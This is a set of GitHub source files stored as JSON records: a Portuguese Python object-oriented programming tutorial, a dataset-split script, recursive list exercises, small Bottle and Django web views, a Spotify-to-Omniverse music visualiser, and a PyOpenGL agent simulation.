<__main__.Carro object at 0x7f6d6e364460>\n\n\n# PARA ACESSAR UM ATRIBUTO DE UMA CLASSE ACESSAMOS USANDO O PONTO ( . ), por exemplo para acessar o atributo portas do objeto ferrari --> ferrari.portas\n# A FORMA DE ACESSAR UM OBJETO É IDENTICA A FORMA QUE ACESSAMOS OBJETOS EM JAVASCRIPT\n# ex\n\n\nprint(ferrari.portas) # 4 portas # retorna o valor do atributo portas do objeto ferrari\n\nprint(ferrari.cor) # preta # retorna o valor do atributo cor do objeto ferrari\n\n\n# __arcondicionado é um atributo privado da classe Carro, oque aconteceria se tentassemos acessar ele?\n\n# print(ferrari.__arcondicionado) # AttributeError: 'Carro' object has no attribute '__arcondicionado'\n# como é um atributo privado ele não pode ser acessado por um objeto\n\n\n\n# ATRIBUTO DE CLASSE\n\n# são atributos usados fora do construtor, porem dentro da classe, para acessarmos ele dentro de um metodo (como o constructor por exemplo), devemos chamar a instancia da propria classe\n# sintaxe : classe Cliente:\n #servico = 'contratado'\n #def __init__(self,nome,cpf):\n #Cliente.servico = False # ---> acessamos a instancia da classe Cliente e seu atributo de classe 'servico'\n\n# LEMBRANDO QUE ATRIBUTOS DE CLASSE PODEM SER ACESSADOS DA MESMA FORMA POR UM OBJETO : nome_objeto.nome_atributo, são praticamente atributos (estaticos)\n\n# ex\n\nclass Sapato:\n qtd = 7 # atributo de classe\n def __init__(self, cor, tamanho, preco, qtdCompra): # atributos dentro do metodo\n self.cor = cor\n self.tamanho = tamanho\n self.preco = preco\n self.qtdCompra = qtdCompra\n Sapato.qtd += self.qtdCompra\n# vamos instanciar um objeto agora, usando a classe acima\n\ntamanco = Sapato('preto',40,40.00,2)\n\nprint(tamanco.qtd) # 9 # retorna 9 pois declaramos dentro do construtor que o atributo de classe qtd = 7 agora recebe a soma da quantidade comprada (Sapato.qtd += self.qtdCompra)\n# e como a qtdCompra do objeto tamanco é 2, 2 + 7 = 9.\n\nprint(Sapato.qtd)\n\n\n# agora vamos supor que nunca tivemos o objeto tamanco sendo instanciado pela classe Sapato\n\nprint(Sapato.qtd) # 7 , ainda poderiamos acessar o atributo de classe, usando a propria instancia da classe: instancia_da_classe.nome_atributo_de_classe\n\n\n\n# CRIANDO METODOS --> (que são basicamente atributos que atuam como funções)\n# todos os metodos criados dentro da classe pertencem aos objetos instanciados por ela\n\n# lembrando que os metodos criados, são metodos de instancia ou seja, você não consegue chamar uma classe e usar eles, somente depois que instanciamos um objeto com a classe que podemos acessar eles via objeto\n\nclass Computador:\n def __init__(self,cor,peso,polegadas,ligado):\n self.cor = cor\n self.peso = peso\n self.polegadas = polegadas\n self.ligado = ligado\n\n # criando metodos de ligar e desligar o computador\n def ligar(self): \n self.ligado = True\n return self.ligado\n\n def desligar(self):\n self.ligado = False\n return self.ligado\n\n def memoria(self,ram): \n self.ram = ram\n\n\nacer = Computador('preto',13,20,False)\n\nprint(acer.ligado) # False\n# vamos agora chamar o metodo ligar\n\n\nacer.ligar() # acessando o metodo ligar da classe Computador\n\nprint(acer.ligado) # True\n\n \nacer.desligar() # acessando o metodo desligar da classe Computador\n\n\nprint(acer.ligado) # True\n\n\n# Vamos agora acessar o metodo ram (porem note que o metodo ram tem um parametro ram, logo devemos primeiro acessar esse metodo instanciando esse parametro)\n\nacer.memoria('8gb') # acessando o metodo memoria, e criando uma instancia ram\n\n\nprint(acer.ram) # 8gb # acessando a instancia ram\n\n\n\n\n# OBS -->> SEMPRE EVITE CRIAR METODOS USANDO DUNDER --> pode haver conflito com alguns metodos internos da linguagem.\n# ex: __name__ e __main__\n\n# OBS2 --> nome de metodos possuem APENAS letras minusculas. Em caso de haver mais de uma palavra, separar pelo underline (como a nomenclatura de uma função normal!)\n# ex: def controle_remoto() , def mae_pai_filho_filha()\n\n\n\n# 2) METODOS DE CLASSE\n\n# - Necessario utilizar um decorador: @classmethod\n\n# - Não há a utilização do self, ele utiliza o parametro 'cls' que se refere a propria classe\n# é a mesma ideia do self, porem o self se referencia a propria instancia (ao proprio objeto) , ja o cls se referencia a classe\n\n# sintaxe :\n # @classmethod\n # def nome_metodo(cls):\n\n# o metodo de classe não tem acesso aos atributos dos objetos, pois ele apenas recebe CLS e não SELF\n# ou seja, metodod e classe não faz acesso a atributos de objeto/instancia\n\n# ex (usando a mesma classe criada para metodos de instancia --> Computador)\n\nclass Computador:\n peixes = 98\n\n @classmethod\n def conta_peixes(cls):\n print(f'Nome da class: {cls}')\n print(f'Existe {cls.peixes} peixes dentro da classe {cls}') # cls.peixes é como se estivessemos fazendo isso -->> Computador.peixes\n\n \n def __init__(self,cor,peso,polegadas,ligado):\n self.cor = cor\n self.peso = peso\n self.polegadas = polegadas\n self.ligado = ligado\n\n def memoria(self,ram): \n self.ram = ram\n\n\nComputador.conta_peixes()\n\n# Nome da class: \n# Existe 98 peixes dentro da classe \n\n\n\n\n\n\n\n# ___________ SUBTIPOS ______________\n\n# Construtor - constroi um objeto\n# publicos - metodos/ atributos acessados pelos objetos instanciados pela classe\n# privados - metodos/ atributos que não podem ser acessados pelos objetos instanciados pela classe\n# estaticos\n\n# nós ja vimos atributos publicos, construtores, vamos ver agora os privados e estaticos\n\n\n# 1) PRIVADOS\n\n# ex usando como exemplo da classe Computador\n\n# atributos ou metodos privados tem como sintaxe: def __nome_metodo(self): ou self.__nome_atributo = atributo\n\n# acessamos dessa forma\n# objeto._NomeClasse__atributo/metodo()\n\nclass Computador: \n def __init__(self,cor,peso,polegadas,ligado):\n self.cor = cor\n self.peso = peso\n self.polegadas = polegadas\n self.ligado = ligado\n\n def __caracteristicas(self):\n return f'{self.cor} e {self.peso}'\n\n\nnovoComputador = Computador('preto',20,20,True)\n\n\n# print(Computador.__caracteristicas()) # AttributeError: type object 'Computador' has no attribute '__caracteristicas'\n\n# se tentarmos acessar um atributo privado, vai retornar um erro AttributeError\n\n# PARA ACESSARMOS UM METODO OU ATRIBUTO PRIVADO BASTA ACESSAR O DIR DA CLASSE, que mostra tudo oq podemos fazer com a classe\n\n# ex\n\nprint(dir(Computador))\n\n# ['_Computador__caracteristicas', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']\n\n# note que exite _Computador__caracteristicas --> que é um atributo/metodo privado\n\n# portando para acessar devemos fazer o seguinte\n\nprint( novoComputador._Computador__caracteristicas() ) # preto e 20\n\n# dessa forma conseguimos acessa-lo\n# essa tecnica se chama # name Mangling\n\n\n# usando o exemplo da classe Carro\n\n\nclass Carro:\n def __init__(self, portas, cor):\n self.portas = portas\n self.cor = cor \n self.__arcondicionado = True\n\nferrari = Carro('4 portas','preta')\n \nprint(ferrari._Carro__arcondicionado) #True # acessamos um atributo privado\n\n\n\n# POR TANTO PARA ACESSAR UM ATRIBUTO/METODO PRIVADO DEVEMOS USAR A SINTAXE:\n\n# objeto._NomeClasse__atributo/metodo()\n\n\n# 2) ESTATICOS\n\n# Necessario utilizar um decorador: @staticmethod\n# basicamente é um metodo que não muda\n# a diferença entre metodo de classe e um metodo estatico é que o estatico não recebe parametros (cls, self e etc...)\n\n# - SEM PARAMETROS (METODOS ESTATICOS NÃO RECEBEM PARAMETROS)\n# PODEMOS ACESSAR O METODO ESTATICO TANTO PELA CLASSE QUANTO PELO OBJETO INSTANCIADO POR ELA\n\n# ex\n\nclass Cliente:\n @staticmethod\n def especial():\n print('Você é um cliente especial')\n def __init__(self,nome,idade):\n self.nome = nome\n self.idade = idade\n\n\nmaria = Cliente('Maria',23)\n\nprint(maria.nome) # maria\nprint(maria.idade) # 23 \n\nmaria.especial() # Você é um cliente especial\nCliente.especial() # Você é um cliente especial","repo_name":"castrintt/curso-python","sub_path":"POO/metodos.py","file_name":"metodos.py","file_ext":"py","file_size_in_byte":10045,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"11280895582","text":"# Python script for creating text files with relative paths\n# to train/valid/test files. We use these paths to\n# create datasets. \n#\n# With special thanks to my Bachelor thesis supervisor.\n# Author: Ing. Lukáš Marták\n\nimport shutil\nimport argparse\nimport fnmatch\nimport random\nimport os\n\n\ntest_synthnames = set([\n 'ENSTDkCl',\n 'ENSTDkAm',\n])\n\ntrain_synthnames = set([\n 'StbgTGd2',\n 'SptkBGCl',\n 'SptkBGAm',\n 'AkPnStgb',\n 'AkPnCGdD',\n 'AkPnBsdf',\n 'AkPnBcht'\n])\n\ndef ensure_empty_directory_exists(dirname):\n if os.path.exists(dirname):\n shutil.rmtree(dirname)\n os.makedirs(dirname)\n\n\ndef desugar(c):\n prefix = 'MAPS_MUS-'\n last = c[::-1].find('_')\n pid = c[len(prefix):(-last - 1)]\n return prefix, last, pid\n\n\ndef collect_all_piece_ids(base_dir, synthnames):\n pids = set()\n for synthname in synthnames:\n for base, dirs, files in os.walk(os.path.join(base_dir, synthname)):\n candidates = fnmatch.filter(files, '*MUS*')\n if len(candidates) > 0:\n for c in candidates:\n _, _, pid = desugar(c)\n pids.add(pid)\n\n return pids\n\n\ndef collect_all_filenames(base_dir, synthnames, include):\n filenames = set()\n for synthname in synthnames:\n for base, dirs, files in os.walk(os.path.join(base_dir, synthname)):\n candidates = fnmatch.filter(files, '*MUS*')\n if len(candidates) > 0:\n for c in candidates:\n _, _, pid = desugar(c)\n if pid in include:\n path, ext = os.path.splitext(c)\n filenames.add(os.path.join(base, path))\n return list(filenames)\n\n\ndef write_pairs(filename, lines):\n pairs = []\n for line in lines:\n pairs.append('{}.wav,{}.mid'.format(line, line))\n with open(filename, 'w') as f:\n f.writelines('\\n'.join(pairs) + '\\n')\n\n\ndef main():\n random.seed(155853)\n\n parser = argparse.ArgumentParser(description='create non-overlapping splits')\n parser.add_argument('maps_base_directory', help='path must be relative to the working directory')\n args = parser.parse_args()\n\n train_pids = collect_all_piece_ids(args.maps_base_directory, train_synthnames)\n test_pids = collect_all_piece_ids(args.maps_base_directory, test_synthnames)\n\n print('len(train_pids)', len(train_pids))\n print('len(test_pids)', len(test_pids))\n\n train_filenames = sorted(collect_all_filenames(\n args.maps_base_directory,\n train_synthnames,\n train_pids - test_pids\n ))\n test_filenames = sorted(collect_all_filenames(\n args.maps_base_directory,\n test_synthnames,\n test_pids\n ))\n\n # we're validating on a subset of the trainset!\n # this is going to tell us **how close we are to learning the trainset by heart**...\n # ... and be a **bad estimate of generalization error** ...\n valid_filenames = random.sample(train_filenames, 10)\n\n print('len(train_filenames)', len(train_filenames))\n print('len(valid_filenames)', len(valid_filenames))\n print('len(test_filenames)', len(test_filenames))\n\n dirname = 'non-overlapping'\n ensure_empty_directory_exists(dirname)\n\n write_pairs(os.path.join(dirname, 'train'), train_filenames)\n write_pairs(os.path.join(dirname, 'valid'), valid_filenames)\n write_pairs(os.path.join(dirname, 'test'), test_filenames)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kosmels/amt_nn","sub_path":"create-non-overlapping-splits.py","file_name":"create-non-overlapping-splits.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20785329921","text":"\ndef max_list_iter(int_list): # must use iteration not recursion\n if type(int_list) != list:\n raise ValueError\n if len(int_list) == 0:\n return None\n max = int_list[0]\n for i in int_list:\n if i > max:\n max = i\n return max\n \n \"\"\"finds the max of a list of numbers and returns the value (not the index)\n If int_list is empty, returns None. If list is None, raises ValueError\"\"\"\n\n\ndef reverse_rec(int_list): # must use recursion\n if type(int_list) != list:\n raise ValueError\n if len(int_list) == 0:\n return []\n if len(int_list) == 1:\n return int_list\n first = int_list[0]\n int_list.remove(first)\n x = reverse_rec(int_list)\n x.append(first)\n return x\n \"\"\"recursively reverses a list of numbers and returns the reversed list\n If list is None, raises ValueError\"\"\"\n\ndef bin_search(target, low, high, int_list): # must use recursion\n if type(int_list) != list:\n raise ValueError\n if high < low:\n return None\n point = (high + low) // 2\n if int_list[point] == target:\n return point\n elif int_list[point] > target:\n return bin_search(target, low, point - 1, int_list)\n return bin_search(target, point + 1, high, int_list)\n \"\"\"searches for target in int_list[low..high] and returns index if found\n If target is not found returns None. If list is None, raises ValueError \"\"\"\n","repo_name":"cpe202spring2019/lab1-jubenjam","sub_path":"lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35579783851","text":"from bottle import request\n\nfrom appapi.paths.base_api import BaseApi\nfrom appcore.helpers import PlatformInstantiationError\nfrom appcore.helpers.singleton import Singleton\nfrom appcore.services.factory import Factory\n\n\n# noinspection PyUnresolvedReferences\n@Singleton\nclass ExecutionApi(BaseApi):\n def _path(self):\n return 'execution'\n\n def run(self):\n \"\"\"\n POST\n \"\"\"\n try:\n account_settings = request.json\n return self._dict_reply(200, {\n 'job_id': Factory().get_execution_service().request_execution(**account_settings)\n })\n\n except PlatformInstantiationError as e:\n print(e.args)\n return self._dict_reply(400, 'Missing parameters in request: ' + ', '.join(e.args))\n except (ModuleNotFoundError, AssertionError):\n return self._dict_reply(400, 'Missing or invalid platform_id')\n except Exception as e:\n print(e.args)\n return self._dict_reply(500, 'Execution threw a ' + str(e.__class__) + 'error')\n\n def get(self):\n \"\"\"\n GET\n \"\"\"\n try:\n job = Factory().get_execution_service().get_job_data(\n job_id=request.GET.get('job_id'),\n is_full='full' in request.GET\n )\n return self._dict_reply(200, job)\n except NameError as e:\n return self._dict_reply(400, e.message)\n except Exception as e:\n return self._dict_reply(500, ', '.join([getattr(e, 'message', ''), ', '.join(e.args)]))\n","repo_name":"QuittyMR/etlas-collector","sub_path":"app/appapi/paths/execution_api.py","file_name":"execution_api.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11536940535","text":"from django.shortcuts import render\nfrom django.views import View\nfrom .models import Project, Person, Skill, Experience, SocialMedia\n\n# Create your views here.\ndef index(request):\n projects_list = Project.objects.order_by('priority')\n person = Person.objects.all()\n skill = Skill.objects.all()\n experience = Experience.objects.all()\n social_media = SocialMedia.objects.all()\n context = {\n 'projects_list': projects_list,\n 'person': person,\n 'skill': skill,\n 'experience': experience,\n 'social_media': social_media,\n }\n return render(request, 'index.html', context)\n\n\ndef project_detail(request, pk):\n project = Project.objects.get(pk=pk)\n context = {\n 'project': project\n }\n return render(request, 'project_detail.html', context)","repo_name":"purhan/personal-website","sub_path":"foliopage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40556504517","text":"import asyncio\nimport base64\nimport random\nimport string\nimport webbrowser\nfrom .constants import *\nimport aiohttp\nimport carb\nimport omni.kit.app\nimport omni.kit.commands\nfrom pxr import Sdf\nfrom aiohttp import web\n\n\n# Constants for Spotify API\nSPOTIFY_API = \"https://api.spotify.com/v1/\"\nSPOTIFY_PLAY_URL = SPOTIFY_API + \"me/player/play\"\nSPOTIFY_TRACK_ANAL_URL = SPOTIFY_API + \"audio-analysis/\"\nDEFAULT_TRACK = \"2BFGRjoK2ZXUa4JlMc3H7J\"\nSCOPE = 'user-read-playback-position user-read-currently-playing user-modify-playback-state'\nAUTH_URL = \"https://accounts.spotify.com/authorize?\"\nAUTH_HEADER_ALT = \"response_type=\" + \"code\" + \"&client_id=\" + CLIENTID + \"&scope=\" + SCOPE + \"&redirect_uri=\" + \"http://localhost:8888/callback\" + \"&state=\" + ''.join(random.choices(string.ascii_lowercase, k=16))\n\ndef startup_spotify_sync(track, auth_token):\n header = {\n \"Authorization\": f\"Bearer {auth_token}\"\n }\n run_loop = asyncio.get_event_loop()\n run_loop.run_until_complete(spotify_loop(track, header))\n\n# Run Spotify connection\nasync def spotify_loop(track, header):\n is_playing = await store_data(track, header)\n if is_playing:\n asyncio.create_task(ov_play())\n\n# Retrieve track analysis from spotify's API to then store it into the USD scene\nasync def store_data(track, headers):\n async with aiohttp.ClientSession() as session:\n data = await get_track_analysis(session, headers)\n if not data[0]:\n return\n else:\n start_times = []\n pitches = [[], [], [], [], [], [], [], [], [], [], [], []]\n segments = data[1]\n index = 0\n \n while index < len(segments):\n time = float(segments[index]['start'])\n start_times.append(time)\n # Store each pitch value at the specific start time value\n for i in range(12):\n val = float(segments[index]['pitches'][i])\n pitches[i].append(val)\n index += 1\n\n await generate_properties(start_times, data[2], pitches)\n\n is_playing = await play_song(session, track, headers)\n return is_playing\n\n# Generate the properties that hold track analysis data\nasync def generate_properties(start_times, duration, pitches):\n # Store Information within the USD as Attributes\n create_attributes(Sdf.Path('/World.beat_start_time'), Sdf.ValueTypeNames.FloatArray)\n create_attributes(Sdf.Path('/World.duration'), Sdf.ValueTypeNames.Float)\n change_properties(Sdf.Path('/World.beat_start_time'), start_times)\n change_properties(Sdf.Path('/World.duration'), duration)\n \n # Create attribute for every pitch\n for i in range(12):\n create_attributes(Sdf.Path('/World.pitch' + str(i)), Sdf.ValueTypeNames.FloatArray)\n change_properties(Sdf.Path('/World.pitch' + str(i)), pitches[i])\n\n# Uses Kit commands to change properties given the path and new value\ndef change_properties(path, new_value):\n omni.kit.commands.execute('ChangeProperty',\n prop_path=path,\n value=new_value,\n prev=None)\n\n# Uses Kit commands to create an attribute given the path and attribute type\ndef create_attributes(path, attr_type):\n omni.kit.commands.execute('CreateUsdAttributeOnPath',\n attr_path=path,\n attr_type=attr_type,\n custom=True,\n variability=Sdf.VariabilityVarying)\n \n# Get Information from the track analysis and grab specific pieces from the json\nasync def get_track_analysis(session, headers):\n async with session.get(SPOTIFY_TRACK_ANAL_URL + DEFAULT_TRACK, headers=headers) as resp:\n if resp.status == 200:\n json = await resp.json()\n segments = json[\"segments\"]\n track = json[\"track\"]\n duration = track[\"duration\"]\n return [True, segments, duration]\n return [False, None, None]\n\n# Plays the song on spotify if we recieve a OK response\nasync def play_song(session, track, headers):\n track_to_play = track\n if track == \"\":\n track_to_play = DEFAULT_TRACK\n async with session.put(SPOTIFY_PLAY_URL, json={\"uris\": [\"spotify:track:\" + track_to_play]},headers=headers) as play_resp:\n if play_resp.status == 204:\n return True\n else:\n return False\n\n# Wait a little bit then run kit command for hitting Play\nasync def ov_play():\n await asyncio.sleep(0.1)\n omni.kit.commands.execute('ToolbarPlayButtonClicked')\n\n# Web Authentication holder\nclass WebData:\n def __init__(self) -> None:\n self._access_code = \"\"\n self._auth_token = \"\"\n \n def get_access_code(self):\n self.run_web_app()\n run_loop = asyncio.get_event_loop()\n return run_loop.run_until_complete(self.boot_server())\n\n def get_access_token(self):\n run_loop = asyncio.get_event_loop()\n return run_loop.run_until_complete(self.auth_token_loop(self._access_code))\n\n def run_web_app(self):\n self.app = web.Application()\n self.app.add_routes([web.get('/callback', self.query_code)])\n\n async def boot_server(self):\n runner = web.AppRunner(self.app)\n await runner.setup()\n site = web.TCPSite(runner, 'localhost', 8888)\n await site.start()\n\n while True:\n self.open_web_browser()\n await asyncio.sleep(5)\n await site.stop()\n break\n\n def open_web_browser(self):\n webbrowser.open(str(AUTH_URL+AUTH_HEADER_ALT))\n\n async def query_code(self, request):\n self._access_code = request.rel_url.query.get('code', '')\n return web.Response(text=f\"You can close this now\")\n\n async def auth_token_loop(self, code):\n authUrl = \"https://accounts.spotify.com/api/token\"\n form = aiohttp.FormData({\n \"code\": str(code),\n \"redirect_uri\": REDIRECT_URI,\n \"grant_type\": 'authorization_code'\n })\n client_string = CLIENTID + ':' + CLIENT_SECRET\n ascii_client = client_string.encode(\"ascii\")\n base64_client = base64.b64encode(ascii_client)\n decode_client = base64_client.decode(\"ascii\")\n headers = {\n 'Authorization': f\"Basic {decode_client}\"\n }\n \n async with aiohttp.ClientSession() as session:\n async with session.request(method='POST', url=authUrl, headers=headers, data=form) as resp:\n if resp.status == 200:\n json = await resp.json()\n self._auth_token = json[\"access_token\"]\n else:\n carb.log_info(f\"Response Status: {resp.status}\")\n \n","repo_name":"JenNVIDIA/musical-lights","sub_path":"exts/jen.music.lights/jen/music/lights/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":6647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4232153993","text":"import pygame as pg \nfrom pygame.locals import *\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\n\nfrom dataclasses import dataclass\n\nfrom ctypes import sizeof, c_float, Structure, byref, c_void_p\n\nimport numpy as np\nimport random\nimport math\nimport time\nfrom tqdm import trange\n\n#SECTION - Varibles\n\n# width, height\nwidth, height = 720, 480\ndisplaySize = (width, height)\nnumAgents = 30000 # 10*(10**3)\ndimStrength = 1\n\nscaleing = 1\n\nlrw, lrh = int(width*scaleing), int(height*scaleing)\n\nstart_time = time.time()\nprevious_time = start_time\n\n#!SECTION - Varibles\n#SECTION - Dataclasses\n#ANCHOR - Vector 2\n@dataclass\nclass Vec2:\n x: float\n y: float\n\n def __mul__(self, other):\n if isinstance(other, (int, float)):\n return Vec2(self.x * other, self.y * other)\n elif isinstance(other, Vec2):\n return Vec2(self.x * other.x, self.y * other.y)\n else:\n raise TypeError(\"Unsupported opperand type\")\n \n def __add__(self, other):\n if isinstance(other, Vec2):\n return Vec2(self.x + other.x, self.y + other.y)\n elif isinstance(other, (int, float)):\n return Vec2(self.x + other, self.y + other)\n else:\n raise TypeError(\"Unsupported opperand type\")\n \n def __str__(self):\n return f\"({self.x}, {self.y})\"\n \n#ANCHOR - Agent\nclass AgentStruct(Structure):\n _fields_ = [(\"pos\", c_float * 2), (\"angle\", c_float)]\n\n@dataclass\nclass Agent:\n pos: Vec2 = Vec2(0.0, 0.0)\n angle: float = 0.0\n\n def to_struct(self):\n pos_array = (c_float * 2)(self.pos.x, self.pos.y)\n return AgentStruct(pos_array, self.angle)\n \n @classmethod\n def from_struct(cls, agent_struct):\n return cls(agent_struct.pos, agent_struct.angle)\n \nclass Agent2:\n def __init__(self, x, y, angle):\n self.x = x\n self.y = y\n self.angle = angle\n\n \n#!SECTION - Dataclasses\ndef printProgressBar (iteration, total, prefix = '', suffix = '', decimals = 1, length = 100, fill = '█', printEnd = \"\\r\"):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iteration - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n decimals - Optional : positive number of decimals in percent complete (Int)\n length - Optional : character length of bar (Int)\n fill - Optional : bar fill character (Str)\n printEnd - Optional : end character (e.g. \"\\r\", \"\\r\\n\") (Str)\n \"\"\"\n percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\n filledLength = int(length * iteration // total)\n bar = fill * filledLength + '-' * (length - filledLength)\n print(f'\\r{prefix} |{bar}| {percent}% {suffix}', end = printEnd)\n # Print New Line on Complete\n if iteration == total: \n print()\n#SECTION - Start\n\n# agentsArray = [\n# Agent2(random.uniform(0.2, 0.8), random.uniform(0.2, 0.8), random.uniform(0, 2 * math.pi)) for _ in range(numAgents)\n# ]\nprint(f\"\"\"\n Generating {numAgents} agents.\n This may take some time if theres a lot.\n\"\"\")\n# printProgressBar(0, numAgents, prefix = 'Progress:', suffix = 'Complete', length = 50)\nagentsArray = []\nfor i in trange(numAgents):\n x = random.uniform(0.2, 0.8)\n y = random.uniform(0.2, 0.8)\n angle = random.uniform(0, 2 * math.pi)\n agent = Agent2(x, y, angle)\n agentsArray.append(agent)\n # printProgressBar(i + 1, numAgents, prefix = 'Progress:', suffix = 'Complete', length = 50)\n\nprint(\"converting to numpy array\")\nnpAgentsArray = np.array([(agent.x, agent.y, agent.angle) for agent in agentsArray], dtype=np.float32)\n\npg.init()\npg.display.set_mode(displaySize, OPENGL | DOUBLEBUF)\n\ngl_version = glGetString(GL_VERSION)\nprint(gl_version.decode('utf-8'))\n\nif pg.get_error() != \"\":\n print(\"Pygame error:\", pg.get_error())\n pg.quit()\n quit()\n\n#ANCHOR - Vertex Shader\nprint(\"compiling vertex shader\")\nvertexSource = open(\"./shader.vert\", \"r\")\nvertexShader = glCreateShader(GL_VERTEX_SHADER)\nglShaderSource(vertexShader, vertexSource)\nglCompileShader(vertexShader)\n\n#ANCHOR - Fragment Shader\nprint(\"compiling fragment shader\")\nfragmentSource = open(\"./shader.frag\", \"r\")\nfragmentShader = glCreateShader(GL_FRAGMENT_SHADER)\nglShaderSource(fragmentShader, fragmentSource)\nglCompileShader(fragmentShader)\n\n#ANCHOR - Compute Shader\nprint(\"compiling compute shader\")\ncomputeSource = open(\"./shader.comp\", \"r\")\ncomputeShader = glCreateShader(GL_COMPUTE_SHADER)\nglShaderSource(computeShader, computeSource)\nglCompileShader(computeShader)\n\n#ANCHOR - Check Compile Status\nif glGetShaderiv(vertexShader, GL_COMPILE_STATUS) != GL_TRUE:\n print(\"Vertex shader compilation failed\")\n err = glGetShaderInfoLog(vertexShader)\n print(err.decode('utf-8'))\n pg.quit()\n quit()\n\n# Check fragment shader compilation status\nif glGetShaderiv(fragmentShader, GL_COMPILE_STATUS) != GL_TRUE:\n print(\"Fragment shader compilation failed\")\n err = glGetShaderInfoLog(fragmentShader)\n print(err.decode('utf-8'))\n pg.quit()\n quit()\n\n# Check compute shader compilation status\nif glGetShaderiv(computeShader, GL_COMPILE_STATUS) != GL_TRUE:\n print(\"Compute shader compilation failed\")\n err = glGetShaderInfoLog(computeShader)\n print(err.decode('utf-8'))\n pg.quit()\n quit()\n\nshader_program = glCreateProgram()\ncompute_program = glCreateProgram()\n\nglAttachShader(shader_program, vertexShader)\nglAttachShader(shader_program, fragmentShader)\nglAttachShader(compute_program, computeShader)\n\nglLinkProgram(shader_program)\nglLinkProgram(compute_program)\n\n#ANCHOR - Check Link status\nif glGetProgramiv(shader_program, GL_LINK_STATUS) != GL_TRUE:\n print(\"Shader program linking failed\")\n err = glGetShaderInfoLog(shader_program)\n print(err.decode('utf-8'))\n pg.quit()\n quit()\n\nif glGetProgramiv(compute_program, GL_LINK_STATUS) != GL_TRUE:\n print(\"Compute program linking failed\")\n print(glGetProgramInfoLog(compute_program))\n pg.quit()\n quit()\n\n\n#ANCHOR - creating the render texture\ntrailmap = glGenTextures(1)\nglBindTexture(GL_TEXTURE_2D, trailmap)\nglTextureParameteri(trailmap, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\nglTextureParameteri(trailmap, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\nglTextureParameteri(trailmap, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE)\nglTextureParameteri(trailmap, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE)\n\nglTextureStorage2D(trailmap, 1, GL_RGBA32F, lrw, lrh)\nglBindImageTexture(0, trailmap, 0, GL_FALSE, 0, GL_WRITE_ONLY, GL_RGBA32F)\n\ndef random_inside_unit_circle():\n while True:\n x = random.uniform(-1, 1)\n y = random.uniform(-1, 1)\n if x**2 + y**2 <= 1:\n # Normalize the coordinates to [0, 1]\n magnitude = math.sqrt(x**2 + y**2)\n x_normalized = (x + 1) / 2\n y_normalized = (y + 1) / 2\n return Vec2(x_normalized, y_normalized)\n\n#ANCHOR - Create agent array\n# agentsArray = [Agent2(random.uniform(0.2, 0.8), random.uniform(0.2, 0.8), random.uniform(0, 2 * math.pi)) for _ in range(numAgents)]\n# npAgentsArray = np.array([(agent.x, agent.y, agent.angle) for agent in agentsArray], dtype=np.float32)\n\nssbo = glGenBuffers(1)\nglBindBuffer(GL_SHADER_STORAGE_BUFFER, ssbo)\nglBufferData(GL_SHADER_STORAGE_BUFFER, len(npAgentsArray) * sizeof(GLfloat) * 3, npAgentsArray, GL_DYNAMIC_DRAW)\n\nssbo_bindPoint = 1\nglBindBufferBase(GL_SHADER_STORAGE_BUFFER, ssbo_bindPoint, ssbo)\n\n#ANCHOR - Triangles?\nvertices =np.array([\n # Vertex positions (x, y) followed by texture coordinates (u, v)\n -1.0, -1.0, 0.0, 0.0,\n -1.0, 1.0, 0.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, \n -1.0, -1.0, 0.0, 0.0,\n 1.0, 1.0, 1.0, 1.0,\n 1.0, -1.0, 1.0, 0.0\n], dtype=np.float32)\n\nquad_vao = glGenVertexArrays(1)\nglBindVertexArray(quad_vao)\n\nquad_vbo = glGenBuffers(1)\nglBindBuffer(GL_ARRAY_BUFFER, quad_vbo)\nglBufferData(GL_ARRAY_BUFFER, vertices, GL_DYNAMIC_DRAW)\n\nglVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat), None)\nglEnableVertexAttribArray(0)\n\nglVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat), c_void_p(2 * sizeof(GLfloat)))\nglEnableVertexAttribArray(1)\n\n#!SECTION - Start\n\ndef check_gl_error():\n error_code = glGetError()\n if error_code != GL_NO_ERROR:\n print(f\"OpenGL error: {error_code}\")\n\nprint(npAgentsArray)\n\nif __name__ == \"__main__\":\n clock = pg.time.Clock()\n while True:\n # current_time = time.time()\n # delta_time = current_time - previous_time\n dt = clock.tick()/1000\n # pg.time.Clock.get_time()/1000\n for event in pg.event.get():\n if event.type == pg.QUIT:\n #NOTE - exit stuff\n # glDeleteBuffers(1, [ssbo])\n pg.quit()\n quit()\n elif event.type == pg.KEYDOWN and event.key == K_ESCAPE:\n pg.quit()\n quit()\n\n 